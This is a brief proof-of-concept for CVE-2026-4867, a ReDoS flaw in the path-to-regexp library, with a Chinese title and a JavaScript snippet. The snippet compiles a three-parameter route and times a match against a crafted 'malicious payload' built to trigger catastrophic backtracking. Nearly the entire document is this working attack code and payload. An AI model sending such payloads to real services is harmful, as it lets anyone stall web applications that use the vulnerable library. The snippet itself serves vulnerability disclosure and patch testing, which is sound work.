CVE-2026-4867 path-to-regexp 正则表达式拒绝服务漏洞

// PoC for CVE-2026-4867: ReDoS in path-to-regexp < 0.1.13 const pathToRegexp = require('path-to-regexp'); // Vulnerable pattern: 3 params separated by a non-dot character const routePattern = '/:a-:b-:c'; const re = pathToRegexp(routePattern); // Malicious payload designed to cause catastrophic backtracking // Using a long string of segments separated by the delimiter const maliciousPayload = '/a' + '-b'.repeat(30) + '-c'; console.time('Regex Match'); try { const match = re.exec(maliciousPayload); console.log('Matched:', match); } catch (e) { console.error('Error during match:', e); } console.timeEnd('Regex Match');